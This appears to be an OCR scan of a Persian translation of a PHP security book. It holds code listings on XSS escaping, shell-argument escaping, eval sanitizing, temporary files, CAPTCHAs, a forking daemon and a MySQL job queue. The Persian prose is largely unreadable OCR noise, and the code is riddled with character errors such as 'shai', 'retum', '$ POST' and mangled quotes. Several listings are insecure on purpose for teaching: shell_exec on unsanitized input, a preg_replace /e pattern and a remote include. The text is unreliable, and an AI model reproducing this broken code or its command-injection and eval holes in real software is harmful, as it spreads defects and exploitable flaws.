IP (sla sl 555 ods3s document.cookie Ja.ﬂ,z;'xbsda PHP 44> ID & as s
& P N dll il e OF wlis )’.JLS.,J";L“ Cgr alin glajda clipd for Ll 0
oo g rlale 5 2510 s SSL G IS S w ees Cr ghed alis )
e Sl s iy Sl il S35 SSL s sl i 35 SSL ik K Jar S
Blo o XS o slol 1 s Sl s S5 5 e JSS slesel 350 S G OT s oS 5

Sl Ol s g Sl ealiial b el Gadr G 05 S Somle S o le S

b (o V¥ ¥
Cows ET,5 w03l o oS ol ol XSS I Cmiles S 51l 5 sl
B uzj)'@ Lo nl 02 Gud IS o) o 8 Gle (255 ) bley 3L oo
S ms i ) ((Kan dm B) alin o 1 Ol g )8 (53555 03500 2k b il g

555 XSSy ST S ol ay Goe K55 S350 0l

YoV


http://www.cgisecurity.com/articles/xss-faq.shtml#ssl

ey PHP cyol o si0L

HTML L SlS 55 & 55 HTML (6,038 50,

XSS e S sl 2! g Usame s, SCilos gad Ol Joad 53 3 S sblles
|y e o Sl &S a2l s 0nload L SIC sazas G LHTML oLl 5y 55 el
L 20 63555 53 357 50 b SLIS sl «PHP s htmlentities() b S e e
=) LS (Sl Slhes Kos jle a3l o 50 1) WOT s 55 5 05,8

A o almil ) (s 2 SladS ramen 5 508 Sla (35,55 05508 2l

oslau! S48 .,\.il.u 9 Sl LSJSYL: Cud gl 6‘)‘3 htm|SpeCI I@() ] QT @ .]9}:]0 CU

13 gad o3l w0 ol 51 0155 o 655 oS A omﬂ; S Sl 4S5 5,8 15

o D

<?php

function safe( $value ) {
htmlentities( $value, ENT QUOTES, ‘utf-8' );
// other processing
return $value;

}

// retrieve $title and $message from user input
$title = $ POST[ 'title'];
$message = $ POST['message'];

// and display them safely
print '<h1>' . safe( $title ) . '</h1>

<p>' . safe( $message ) . '</p>';
>
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<input type="text" name="myval" value="<?= safe( $myval ) >" />
<input type='text' name='yourval' value='<?= safe( $yourval ) ?>' />
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<?php

$trustedHosts = array(
"example.com',
'another.example.com’
);

$trustedHostsCount = count( $trustedHosts );

function safeURI( $value ) {

$uriParts = parse url( $value ); §§g>
for ( $i = 0; $i < $trustedHostsCount; $i++ ) {
if ( $uriParts['host'] === $trustedHosts[$i] ) { T%?ﬂ

retum $value i;&EZF
}
} 7
$value .= ' [' . $uriParts['host'] . ']'; Q
\

return $value;

}

// retrieve $uri from user input
$uri = $_POST['uri'];

// and display it safely
echo safeURI( $uri );
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Common Name Character ASCII Hexadecimal URL HTML Entity
Encoded

Newline 10 \x03 %03 &#10;
Bang orexclamation ! 33 \x21 %21 &it33;
mark
Double quotation ! M \x22 %22 &i#34; or Agquot;
mark
Dollar sign S 6 \x24 %24 &i36;
Ampersand & a8 \x26 %26 &#38; or &amp;
Apostrophe orsingle ; a9 \x27 27 &#39;
quotation mark
Left parenthesis { 40 \x28 %28 &it40;
Right parenthesis ) 41 \x23 %23 Ait41;
Asterisk42 \x23 %23 8#42;
Hyphen - 45 \x2d %24 B#45;
Semicolon 3 59 \x3b %30 &#59;
Left angle bracket < 60 \x3c %3c &#60; or Alt;
Right angle bracket > 62 \x3e $3e &#62; or Bgt;
(Question mark ? 63 \x3f 3f &#63;
Left square bracket | 91 \x5b %5b &i91;
Backslash \ 92 \x5¢ 25¢ A#92;
Right square bracket ] 93 \x5d 254 &#93;
Circumflex accent A 91 \x5e %5e &i#94;
or caret
Backtick : 96 \x60 260 &#a6;
Left curly bracket | 123 \x7b %7b B#123;
Pipe orvertical line | 124 \x7c %7c &f124;
Right curly bracket ] 125 \x7d %74 &#125;
Tilde - 126 \x7e %7e Ar126;
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<?php
// get the word count of the requested file
$filename = $ GET['filename']; §£>
$command = "/usxr/bin/wc $filename”;
$words = shell exec( $command ); i;&aj%@
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<?php
// use this function to sanitize input for eval()

function safeForEval( $string ) {
// newline check
$nl = chr(10);
if ( strpos( $string, $nl1 ) ) {
exit( "$string is not permitted as input." );
}
$meta = array( ‘$%5 {5 3 [ 1% T )
$escaped = array('&#36', '&#123', '&#125', '&H#91', '&#93', '&#96', '&#59' );
// addslashes for quotes and backslashes
$out = addslashes( $string );
// str replace for php metacharacters
$out = str replace( $meta, $escaped, $out );
return $out;

}
7>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>
<title>safeForEval() test</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
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<Zphp

function safeForfval( $string ) {
/! newline check
$nl = chr(10);
if ( stxpos( $string, $nl ) ) {
exit{ "$string is not permitted as imput." );
}
$meta =array( .5'1 '{l; '}I; '['; |]') “‘1 .;' );
$escaped = array('8#36', '8#123", '&#125°, '&#o1’, '&#93', '&#96', '&#59' );

// addslashes for quotes and backslashes

Sout = addslashes( $string ); ?
/! str_replace for php metacharacters %n
out = str_replace( S$meta, $escaped, Sout ); °
return Sout; @E‘:P

}
// simple classes Y %
class cup {

public $contents;

public function _ construct() {
Sthis->contents = "'milk’;
}
}

class pint extends cup {
public function _ construct() {

$this->contents = 'beer';

}
}

class mug extends cup {
public function _ construct() {
$this-»>contents = 'coffee';

}
}

/] get user input
/] declare a default value in case user doesn't enter input
$type = "pint’;
if ( lempty( $ POST['type'] ) ) {
$type = $ POST["type'];
}
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// sanitize user input
$safeType = safeForEval( $type );

// create object with a PHP command sent to eval()
$command = "\$object = new $safeType;";

eval( $command );

// $object is of class $safeType

2>
<h3>Your new <?= get class( $object ) ?> has <?= $object->contents ?> §5g>
in it.</h3> t%§f
<hr /> §;£;>f
<form method="post"> D)
Make a new <input type="text" name="type" size="32" /> )
<input type="submit" value="go" />
</form>
</body>
</html>
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Parse error: parse error, unexpected $ in /Users/csnyder/Documents/Pro PHP
Security/pps-code/ch14-remoteexec/safeForEvalTest.php(55) : eval()'d code on line 1

Your new has in it.

Make a new | go |

Done
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<?php

include( "http://source.example.net/myapp/common.php’ );
>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>escapeshellarg() demo</title>

</head>

<body>

<?php

// configuration: location of server-accessible audio
$audioroot = '/var/upload/audio/’;

// configuration: location of sox sound sample translator
$sox = '/usr/bin/sox';

// process user input

if ( lempty( $_POST ) ) {
// collect user input
$channels = $ POST['channels'];
$infile = $ POST['infile'];
$outfile = $ POST[ 'outfile'];

// check for existence of arguments
if ( empty( $channels ) ) {
$channels = 1;

}
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if ( empty( $infile ) || empty ( $outfile ) ) {
exit( 'You must specify both the input and output files!' );

}

// confine to audio directory

if ( strpos( $infile, '..' ) !== FALSE || strpos( $outfile, '..' ) !== FALSE ) {
exit( 'Illegal input detected.' );

}

$infile = $audioroot . $infile;
$outfile = $audioroot . $outfile;

// escape arguments :§;;)
$safechannels = escapeshellarg( $channels );
$safeinfile = escapeshellarg( $infile ); YQE%F
$safeoutfile = escapeshellarg( $outfile ); . §>n

Q
// build command 3
$command = "$sox -c $safechannels $safeinfile $safeoutfile”; i)

// echo the command rather than executing it, for demo
exit( "<pre>$command</pre>" );

// execute
$result = shell exec( $command );

// show results

—_r
print "<pre>Executed $command:\n $result\nc</pre>";
}
else {
>

<h3>Encode Audio</h3>
<p>This script uses sox to encode audio files from <?=$audioroot?>.<br />
Enter the input and output file names, and optionally set the number of
channels in the input file. <br />
Output file extension will determine encoding.</p>
<form method="post">
<p>input channels:
<select name="channels">
<option value="">auto</option>
<option value="1">mono</option>
<option value="2">stereo</option>
</select>
</p>
<p>input file: <input type="text" name="infile" size="16" /></p>
<p>output file: <input type="text" name="outfile" size="16" />
<input type="submit" value="encode" /></p>
</form>
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}
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</body>
</html>
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<?php

// configuration: location of server-accessible audio
$audioroot = '/var/upload/audio/’;

// configuration: location of sox sound sample translator
$sox = '/usr/bin/sox’;

// process user input
if ( lempty( $_POST ) ) {
// collect user input :55>
$channels = $ POST['channels']; t%?
$infile = $ POST['infile']; i;iéiﬁ
$outfile = $ POST[ 'outfile'];

// check for existence of arguments
if ( empty( $channels ) ) {
$channels = 1;
}
if ( empty( $infile ) || empty ( $outfile ) ) {
exit( 'You must specify both the input and output files!' );

}

// confine to audio directory

if ( strpos( $infile, '..' ) !== FALSE || strpos( $outfile, '..' ) l== FALSE ) {
exit( 'Illegal input detected.' );

}

$infile = $audioroot . $infile;
$outfile = $audioroot . $outfile;

// build command
$command = "$sox -c $channels $infile $outfile";

// escape command
$command = escapeshellcmd( $command );
)
// echo the command rather than executing it, for demo
exit( "<pre>$command</pre>" );

// execute
$result = shell exec( $command );

// show results
print "<pre>Executed $command:\n $result\n</pre>";

// end if ( lempty( $_POST ) )
}
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<?php

$htmlBody = '<em>Hello</em>';

$pattern = "/(<\/2)(\wt)([*>]*>)/e";

$replacement = "'\\1' . strtoupper('\\2"') . "\\3'";

$newHTML = preg replace( $pattern, $replacement, $htmlBody);
echo $newHTML;
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<?php

// retrieve the first name entered by the clerk
$firstname = 'Beth';

// partial template for demonstration
$template = 'Dear [firstname],';

// template engine:

// pattern: find something in brackets, and use e for eval()

// WARNING: this pattern contains a vulnerability for demonstration purposes
$pattern = "/\[(.+)\]/e";

// replacement: prepend a $ to the backreference, creating a PHP variable
$replace = "\$\\1";

$output = preg replace( $pattern, $replace, $template );

// output
print $output;
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<?php
// define the parts of the filename
define ('TMP DIR','/tmp/');

$prefix = 'skiResort';

// construct the filename

$tempFilename = uniqid( $prefix, TRUE ); §§§>
// create the file QEE
touch( $tempFilename ); §j£>f

// restrict permissions n%%\%f

chmod ( $tempFilename, 0600 ); §

// now work with the file
// ... assuming data in $value
file put contents( $tempFilename, $value );

I ioan

// when done with temporary file, delete it
unlink ( $tempFilename );
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<?php

// for demonstration, reuse data from createUniqidTempfile.php
$pathPrefix = '/tmp/skiResort';

// for demonstration, construct a secret here
$secret = 'Today is ' . date( "1, d F." );
$randomPart = shai( $secret );

$tempFilename = $pathPrefix . $randomPart;

touch( $tempFilename );
chmod ( $tempFilename, 0600 );

// now work with the file
// ... assuming data in $value
file put contents( $tempFilename, $value );

£l i

// when done with temporary file, delete it
unlink ( $tempFilename );
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<FilesMatch "\.ph(p(3]4)?|tml)$">
order deny,allow
deny from all
</FilesMatch>
</Directory>
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<?php
if ( filesize( $tempFilename ) === 0 ) {
// write to the file

} else { §Eg>

exit ( "$tempFilename is not empty.\nStart over again."); QED

} P :
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<?php

// write something to the file; then hash it
$hashnow = shal file( $tempFilename );

$ SESSION[ 'hashnow'] = $hashnow;

// later, get ready to write again
$hashnow = shail file( $tempFilename );
f ( $hashnow === $ SESSION['hashnow'] ) {
// write to the file again
// get and save a new hash
$hashnow = shal file( $tempFilename );
$ SESSION[ "hashnow'] = $hashnow;
} else {
exit ( "Temporary file contains unexpected contents.\nStart over again.");

}
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<?php

if ( is uploaded file( $ FILES['userfile']['tmp name'] ) ) {
echo 'The file in temporary storage is the one that was uploaded.’;
} else {

echo 'There is some problem with the file in temporary storage!’;

}
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<?php

// create a temporary file

$tempname = '/tmp/mytestfile’;
$tempfile = fopen( $tempname, 'w+' );
fwrite( $tempfile, 'hello\n' );
fclose( $tempfile );

// attempt to protect from hijacking by hashing the file contents
$hash = sha1 file( $tempname );

Protection ™
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// attempt to hijack the file

LITHETEIL LRI ey

// depending on what you want to test for, you might have another script
// or some command line utility or ftp/scp do this.

file put contents( $tempname, 'and goodbye' );

sleep( 2 );

// test whether the protection has been sufficient
$newhash = shai file( $tempname );
if ( $hash === $newhash ) {

}

exit( "Protection failed:\n

We did not recognize that the temporary file has been changed." );

else {

7>

exit( "Protection succeeded:\n

We recognized that the temporary file has been changed." );
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session start();
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$ SESSION['testing'] = 'and hello again';
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if ( lempty( $ POST['password'] ) &% $ POST[ 'password'] === $password ) {
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session regenerate id();
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$ SESSION[ 'auth'] = TRUE;
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// generate a nonce
// using a random value concatenated with the current time
$nonce = md5( rand( 0, 65337 ) . time() );

// make it easier on the user by only using the first six characters of the nonce
$nonce = substr( $nonce, 0, 6 );

// store the nonce in the session
$ SESSION[ ‘nonce'] = $nonce;
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<?php

// retrieve the stored $secret
// re-create the captcha target
$nonce = $ SESSION[ 'nonce'];
$stepl = $secret . $nonce;

// hash the resulting string
$step2 = mds( $stept );

// retrieve the captcha target 72;5)
$noncelength = strlen ( $nonce ); §$
$target = NULL;
for ( $i = 0; $i < $noncelength; $i = $i+2 ) {

// convert to decimal

$byte = hexdec( substr( $stepz, $i, 2 ) );

// determine offset

$mod26 = $hyte ¥ 26;

// calculate ASCII, convert to alphabetic, and insert into string

$char = chr( $mod26 + 97 );

$target .= $char;

}

// compare the re-created target to the user's response,
// and respond appropriately
if ( $target === $ POST['captcha'] ) {

print "<hi>Congratulations, Human!</h1>";

!

else {
print "<h1i>Sorry, it actually said $target.</h1>";

}
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<?phpk

// create a session to store the target word for later
session start();

// flat file of words, one word per line
$dictionary = '/usr/share/dict/words");

Yqyv



gk yc/bin;l Cis
i il g satSe il

// get a random offset
$totalbytes = filesize( $dictionary );
$offset = rand(0, ($totalbytes - 32));

// open the file, set the pointer
$fp = fopen( $dictionary, 'r' );
fseek( $fp, $offset );

// probably in the middle of a word, so do two reads to get a full word
fgets( $fp );

$target = fgets( $fp );

fclose( $fp );

// store the word in the session
$ SESSION['target'] = $target;

// captchaGenerate.php continues
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// continues captchaGenerate.php

// helper function for colors
function makeRGBColor( $color, $image ){
$color = str_replace( "#", "", $color );
$red = hexdec( substr( $color, 0, 2 ) );
$green = hexdec( substr( $color, 2, 2 ) );
$blue = hexdec( substr( $color, 4, 2 ) );
$out = imagecolorallocate( $image, $red, $green, $blue );

return( $out );
} P

- S
// use any ttf font on your system t%?
// for our example we use the LucidaBright font from the Java distribution

// you may also find TTF fonts in /usr/X11R6/1ib/X11/fonts/TTF

$font = '/usr/local/jdk1.5.0/jre/lib/fonts/LucidaBrightRegular.ttf' );

$fontSize = 18;

$padding = 20;

// geometry -- build a box for word dimensions in selected font and size
$wordBox = imageftbbox( $fontSize, 0, $font, $target );

// x coordinate of UR corner of word
$wordBoxWidth = $wordBox[2];

// y coordinate of UL corner + LL corner of word
$wordBoxHeight = $wordBox[1] + abs( $wordBox[7] );

$containerWidth = $wordBoxWidth + ( $padding * 2 );
$containerHeight = $wordBoxHeight + ( $padding * 2 );

$textX = $padding;

// y coordinate of LL corner of word

$textY = $containerHeight - $padding;

// captchaGenerate.php continues
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// continues captchaGenerate.php §55>
5
// create the image )q
$captchalmage = imagecreate( $containerWidth, $containerHeight );
h o7
// colors

$backgroundColor = makeRGBColor( '225588', $captchalmage );
$textColor = makeRGBColor( 'aa7744', $captchalmage );

// add text
imagefttext( $captchalmage, $fontSize, 0, $textX, $textY, $textColor, $font, w
$target );

// rotate
$angle = rand( -20,20 );
$captchalmage = imagerotate( $captchalmage, $angle, $backgroundColor );

// add lines
$line = makeRGBColor( '999999', $captchalmage );
for ( $i=10; $i < 4; $i++ ) {
$xStart = rand( 0, $containerWidth );
$yStart = rand( 0, $containerHeight );
$xEnd = rand( 0, $containerWidth );
$yEnd = rand( 0, $containerHeight );
imageline( $captchalmage, $xStart, $yStart, $xEnd, $yEnd, $line );
}

// display the generated image
header( 'Content-Type:image/png' );
imagepng( $captchalmage );
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<h1>Please Login</h1>

<p>

To prevent abuse by automated attempts to login,

we are asking you to type the word you see displayed below.

<em>If you cannot see this image, please contact us for assistance.</em>
</p>

<form action="<?= $ SERVER['SCRIPT NAME'] ?>" method="post">

<img src="captchaGenerate.php"

alt="Type in the letters you see here." />

<br />

<input type="text" name="captcha" size="22" /><br />

<input type="submit" value="Login" />
</form>
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<?php

session start();
if ( lempty( $ POST['captcha'] ) ) {
if ( !isset( $ SESSION['target'] ) ) {
print '<hi>Sorry, there was an error in logging in.
Please contact us for assistance.</h1>’;
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elseif ( $ SESSION[ 'target'] === $ POST['captcha'] ) {
print '<h1>You have successfully logged in!</h1>';
unset( $ SESSION[ 'target'] );

}

else {
print '<hi>Incorrect! You are not logged in.</h1>';

}

} >
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#!/usr/local/bin/php
<?php

// functions
// dlog function, writes a message to a log file with current PID
function dlog( $message ) {
)
global $log, // location of log file
$dpid, // parent PID
$cpid;  // child PID

if ( lempty( $cpid ) ) {
// current process is a child

$cpid = " $cpid";
$prefix = $cpid;

}

else {

// current process is a parent
$prefix = $dpid;
}

// get file handle to append to log file
$cfp = fopen( $log, 'a' );

// wait for an exclusive lock on the log
flock( $cfp, LOCK EX );

// write the message
furite( $cfp, "$prefix $message\r\n" );

// release the lock
flock( $cfp, LOCK_UN );
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// close the log file handle
fclose( $cfp );

// end of dlog function
}

// sig handler function, catches and handles signals
function sig handler( $signo ) {
global $child, $children;
dlog( "Received signal $signo." );
/=
switch ($signo) {
case SIGTERM:
// handle shutdown tasks
if ( !$child ) {
// kill all child processes
foreach( $children AS $cpid ) {
posix kill( $cpid, SIGTERM );
pcntl wait( $status );

}
dlog( "Terminating. ".print r( $children, 1) );

}
else {
dlog( "Terminating." );
s
exit();
break;

case SIGHUP:
// handle restart requests
if ( 1$child ) {
// kill all child processes
foreach( $children AS $cpid ) {
posix kill( $cpid, SIGTERM );
pcntl wait( $status );
}
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// now launch a new simpleDaemonDemo.php
dlog( "Restarting. " . print r( $children, 1) );
shell exec( 'php simpleDaemon.php > /dev/null 2581 &' );
}
else {
dlog( "Caught restart, waiting for TERM." );
}
exit();
break;

case SIGCHLD:
// child status change - use pentl wait() to clean up zombie
$cpid = pentl wait( $status );
dlog( "Caught SIGCHLD from $cpid, status was $status.” );
break;

default:
// handle all other signals
dlog( " ... which is an unhandled signal." );

~ \J)
// end of sig handler function
}

// schedule signal checking
declare( ticks = 1 );

// set up signal handlers

pcntl signal( SIGTERM, "sig handler" );
pcntl signal( SIGHUP, "sig handler" );
pentl signal( SIGCHLD, "sig handler" );

// open a logfile resource
$log = 'daemon.log’;
$fp = fopen( $log, 'w' );

// simpleDaemonDemo.php continues
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// continues simpleDaemonDemo.php
print "Forking into the background now...\r\n";

// create the daemon
$fork = pentl fork();

// the daemon now exists alongside the script; for it, $fork = 0
if ( $fork === -1 ) {
exit( "Could not fork.\r\n" );
}
elseif ( $fork ) {
// the script exits
exit( "Started background daemon with PID $fork.\r\n" );
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// the daemon gets its own PID
$dpid = posix getpid();

// the daemon detaches from the controlling terminal
if ( !posix_setsid() ) {
dlog( "Daemon could not detach." );
exit();
}
sleep( 1 );

// prove that file descriptor is inherited by the daemon

furite( $fp, "File descriptor was inherited from original process.\r\n" );
fclose( $fp );

dlog( "I am up and running as a daemon." );

// intialize
$children = array();

$child = FALSE;

// simpleDaemonDemo.php continues
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/1 continues simpleDaemonDemo.php

// loop forever until SIGTERM is received
while ( TRUE ) {

/1 sleep for 5 seconds each loop

sleep( 5 );

if ( !$child ) {

/1 kill oldest child

if ( count( $children ) » 2 ) {
$killpid = array shift( $children );
dlog( "Killing $killpid now" );
posix kill( $killpid, SIGTERM );
sleep( 1 );

}
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// create a child process
$fork = pcntl fork();
// child process now exists
if ( $fork === -1 ) {

dlog( "Could not fork." );

}
elseif ( $fork ) {

$children[] = $fork;
sleep( 2 );
dlog( "Added $fork to children." );

}

else { // $fork = 0; new child process executes here
$child = TRUE;
sleep( 1 );
$cpid = posix getpid();
dlog( "Starting up as child." );

// set nice value to 20 for lowest priority
proc_nice( 20 );
}
}

else {
// existing children sleep for some random time
$randomDelay = rand( 300, 3000 ) * 1000;
usleep( $randombelay );
dlog( "Checking in after $randomDelay microseconds." );

}

// end while loop
}
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Forking into the background now...
Started background daemon with PID 29617.
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File descriptor was inherited from original process.
29617 I am up and running as a daemon.
29618 Starting up as child.
29617 Added 29618 to children.
29619 Starting up as child.
29618 Checking in after 2484000 microseconds.
29617 Added 29619 to children.
29619 Checking in after 1085000 microseconds.
29620 Starting up as child.
29617 Added 29620 to children.
29618 Checking in after 2850000 microseconds.
29619 Checking in after 958000 microseconds.
29617 Killing 29618 now
29618 Received signal 15.
29618 Terminating.
29617 Received signal 20.
29617 Caught SIGCHLD from 29618, status was O.
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29617 Received signal 15.
29635 Received signal 15.
29635 Terminating.
29636 Received signal 15.
29636 Terminating.
29639 Received signal 15.
29639 Terminating.
29617 Terminating. Array
(
[0] => 29635
[1] => 29636
[2] => 29639
)

Q D
JL> B L§a.,\.\f& L;A.&M .,\;)).9 U’ijﬂ O 9 Jj‘ .,ijﬁ .\q Jl>=i\ &oM\Q% ;f‘y Jiu u}ﬁf ui‘
pugwdnmmJ&wgﬁymwjmsg¢du%§:MJMJAJOM@S

Foml S \YLYLY,F

&J} V‘.’.J\JJ‘JEC”"'.’)J}‘ 4".?“);)"‘—’;""\'1’.5

Sy Ay e SRS, S e g

S das e oj@\ugsd@, 34l sﬁj}g¢y =23
Oproc_nice oL L 1, =t J@ﬁ“‘“«s ASL o a gt J3 S Ol ps ol S it

\%@% LS o Sl Y s L

03503 3131 ,@ O ol S B3l sl YL NICE e ax s das e LS
¢ﬁ;VQ&g§§§iD,Puu ey ol Fosbal e 035 Jsite oKa a2l b S sl
d%@f e 38 o 2 0o U (G eV el e Fml) Y U (G ndoml «aslsl
2B eslinal b 55t e 51 0lg e 1) PHP e Sl G g bl it w0 o0
&>ﬁmmﬁﬁugpgaygﬂ$uu5bdﬂﬁuwwégﬁﬂhﬁ@umeMm

(.80 i oMbl gl ) (WL | >

e Sy e s il Jy dad a5 1o Sl ol b s glaasl 2 (IS 55k«

6mp>_@&j,u@ﬁ,s\ﬁ\¢+?J~aﬂéu{yuTwu)s)dwLnﬂpJ4g¢g)>uasd@&j

Y.



\dadedz il g satS e failw

(7
L
| g
G

| g Cu e ‘_;LAW 6"“‘5}3'1:’,“.":"“] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘ h

) ot olis 45 A0S (el Yo b gl s o s O3ls 513 L wilg e YL CPU G ae L

S50 0 S Al A

b Sllas 5100t oo Slkos cyoul Sl g A5l oo Lo &S 15 ool 30 g0 Sl sams Lo 45 058
0SS S b (S b e SFA 53 sls S350 A ol VU e G e
=S Gl clal pl 4 Ol e Lo

Lot 3T (sl 31 0T (3Ll 31 slie ol f slacdlad g3 55 8 oo X ); S e Jole
Soslize g 93 oul g (9305 A U e ey 4 WOT JUSI Gha g %)&)s Lol ¢l
s Sl 555 Slkes 45 AS o (S s S OOT el Sllas Spr D dal il Gl
S ol b 53 b 45 S e el el OV mlie G0 L Slles g s kil
IS 30 e s 2LS s SEER e o tws 53 Slbas ol sl

FO0t mhao Sllas ol o ke 4 536 0l ;L@;g.rdbt che Sles Cople S b &S API
OS5 Sl Jodezmny (6545 Sl S0 & @UGW O pae b Olles Cg e (J pl LSl s

CA..:.J..:..J\A )\ J:""J":’"‘..:’. )Lﬁw JJ)‘J KU Nl | Gclwc LSYL L_ej‘m L k_ﬁ.ilkj )‘ &M&.’{Cﬁlﬁ.)w
J.'Lg Lsu&.m_l‘) J_v‘)_sJJ b Lo.&d\f)ls 6\.&0}‘}‘5@)‘5}*&4}@)}),\&\4& rootck.ud)w
L5 ) el b (Gloged w0 aS Gl S ol 3l i S ple S @
L) el Oose 4 &S Sl S 4 glazws sl slacs Sal 03 5l 5Ll ui}i;- o
Jg},.:: ‘J"‘ d\m: Lgo.)u.)"bj.é
Ao byl 5 el glin) 1) e saibs S Candy Klg e s gl p S S8

ARA



o wifle 3F o
g akbaiioladis . saals IS L
u.;:;uu::;s,_,'.tu PHP u"" d’”‘lﬁ"““’}.’ ‘ =

Cu ke o flf&:lj\.)_ll.q.} b dl.itj\a\.gtjfi Kl lad Oy sl p &S Gl S @ o S il
Los L o LT Gl &S GlisS @ il ol Sloged & mlie VL Gran L il

Sls st a Ll Ol 58 glaesls

e ob S (gl Ty Ol Ll g S 5l eslana VY,V Y

Ly JolS sl ol O Wil e &5 ol by L eslind S e S i g Sesla
d s e pd B30 b S 1y slaesls « oy sl 0T s oS %f)ﬁ 5 ole
55 k) 0l bl b & S e s Ak sla B s & 1 Slws Goils
e 1) 515 2L etsls ulul b (sl okt sl 03315 w %§>\ Olas 3l Sles saals

G S o Ll 1y Waesls codisls 5 canlsl 53 das o ol! |) Wil e NEW. sy S (s1ls

o sael “}\J:‘\SM;)\JB u—ll’.'ﬁ B @Lﬂl:_ug *%d‘ ooy Ll ULJ.‘°J1(":“"'3‘”'E‘”JS

J\il.m JL""J‘J’)SC"G‘}}E"W b LQQTJ.:‘}Z; (Ca«»‘ oﬁyjjalwbbj«wﬂ 45)

AL 5
7F s (250 daild Olomes b LG plis @
bisJJ;J\@yé\j,;ijuw)\;fwwjjams;)\; sems LBLT e
Sl s bl (5 s b 5 0303 5 3515
fL gl o d S b mls @

°\5\% fusl o ol sl L6 Cgr Slih e 25ls 5lany @

&N@}\; s gl bl Ul il e 3ol g0l Jols SV ol 4 el S s 551 2
u&b DS J s 25l D eSS ol onl 5 Camd s obsy S s JB ol i (sline Sl b
el Lo g5 A5 e il pl T 3 & S (5ot d g Bl Dlos S g G Sl eslizal 5
SleSh ol ) slile L geld 5ls 5 5 ol sla b sl S O als Aipd 2L s

S eSS T (55T sl o Sl S b s e

YYY



(7
L
| g
h

iz Ul g gt o Jn

g kb scibiledis | gowe Co pdo ‘_;LAW 6\.&%‘5]3.1,;%] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘ h

3 Adseme O S bl &S il sy etean a3 L3 51 A8 5l sy b (ol
Galis g |y s = oy SO s Ll S e b (Bl 3 Al e s)lae o et
O3 905 S b Ldas o b diea S5l 5 Obe e 55 B slie dels oS (glarws il y (gluiw
03 5 o el 35 ge Sl S 5l Alg e Lad sl Slaply D5 4 B lacd 550

S eslizal a5l i G Olye 4 IMAP Ll G525 5) 5

4 53355 G 33 3 Lok shies Gl o Sl o Sin 13 D ol
s e Sael 53 B S o i 1 nply ol ctalsl 53 XS n s dicoislanly 5L Cgr
e U 5N U el ) 4 lad g e 1 WOT 51 laS pa b s B 1T 555 551 il
Osym 2003 Sokio Sl 5 03,8 Bl 1) 350 o ply 00 B Sl (nl 55 dalss ol
.:)\,\J\da

3305 Gas 3 ot a3 laely I L 1 (68557l oo OLL L35 3515 5 8 oS oK
s gl Ll o foml 4 LAl S Ol 9, =l s esls el Kos S8 G 0s0s @ g
5 o35e5 UL 1 0T 0dd 0l Olye o L kS Hi el b5 S Sl bl 511 s L5
& wly o IMAP la s e 105 955.5.')‘-0;5 0> ek plonil (gadss 5l az b S Olpe w1 O
AW Qﬂ.u a0l 513 53 ply OLsl5a L 1y Joea) slayl g ge JSC

Sl eslial (g by S b 5 Of esle et L L odd el IMAP L 5 s
Sl B, T WIS o Dose a4l ghucio 5 a0 ply pteen G Olpe 4 e
e gl SN 5o At 5 s Bl ol e & s S | 050 L g (ol
S BT L Al e o 553 0 alapionm 5 31485 328 L lad (saalr  Shomy il
Sl mul (S55 2050 LS”J:"S Soslil J:b Gy S IMAP J J‘:"-:‘ Sl Aoled
N30 b Add dxmn gl o G35 2 1o 255 Galp e 81080 (gm0 ST Wl
ml 03 o b Jeleptenn SO a ) wb oS b 5L L il IMAP 1 Slasy s & s

S bl 1 s o 5 S o disl 1y o ol ol el (S (A0S Dy g e

yyy



i pskh b & dis . . N [ b _‘;f.r
e PHP (yl (g siteli ‘."’“’Af #
G g eé‘:elga"\g: S 3 ealanud VY, E0LF

ﬁou;@ijdtﬂ Gae b glarws ol cupde g IMAP 255 g 030 S

S 6 b eslsalL G s 1 gl a5 el

Sl O e el Sl S 6|e>\>eL<iL4 e Sl e MySQL s

CREATE TABLE jobs (

id INT UNSIGNED AUTO INCREMENT PRIMARY KEY, @?
request TEXT, )
created DATETIME, )
started DATETIME,

finished DATETIME,

data TEXT,

result TEXT,

status VARCHAR(255),

INDEX ix status ( status )

)5
e L ol s bt ol cans s el ﬁ/bu° 5 505 by Ll e o dils oy Sl
lisd 5) LS o3 | bl (1S s Sas w atus , started slaals) b Jlejl 5505,
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<?php

class jobManager {

public $id; // the record id in the jobs db

public $request; // request to processor api

public $created; // mysql datetime of insertion in the queue
public $started; // mysql datetime of start of processing

public $finished; // mysql datetime of end of processing

public $data; // optional data to be used in carrying out request
public $result; // response to request

public $status; // status of the job: new, running, or done

private $db; // database handle - an open mysql/mysqli database
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// constructor assigns db handle
public function construct( $db ) {
if ( get class( $db ) != 'mysqli' ) {
throw new Exception( "\$db passed to constructor
is not a mysqli object.” );
}
$this->db = $db;
}

// insert() inserts the job into the queue
public function insert() {
if ( empty( $this->request ) ) {
throw new Exception( "Will not insert job with empty request." );
}
$query = "INSERT INTO jobs SET id='',
request="{$this->esc($this->request)}’,
created=now(),
data="{$this->esc($this->data)}',

status="new' ";
%\;/
$result = $this->db->query( $query );

if ( !$result ) {
throw new Exception( "Unable to insert job using query $query
-- " . $this->db->error() );

}

// get id of inserted record
$this->id = $this->db->insert id;

// load job back from database (to get created date)
$this->load();

return TRUE;
}

// jobManagerClass.php continues
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// continues jobManagerClass.php

// load() method loads the job with $this->id from the database
public function load() {
// id must be numeric
if ( !is_numeric( $this->id ) ) {
throw new Exception( "Job ID must be a number." );

}

// build and perform SELECT query
$query = "SELECT * FROM jobs WHERE id='$this->id' ";
$result = $this->db->query( $query );

if ( !$result ) throw new Exception( "Job #$this->id does not exist." );

// convert row array into job object

$row = $result->fetch assoc();

foreach( $row AS $key=>$value ) {
$this->{$key} = $value;

}

return TRUE;
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// next() method finds and loads the next unstarted job
public function next() {
// build and perform SELECT query
$query = "SELECT * FROM jobs WHERE status='new'
ORDER BY created ASC LIMIT 1";
$result = $this->db->query( $query );

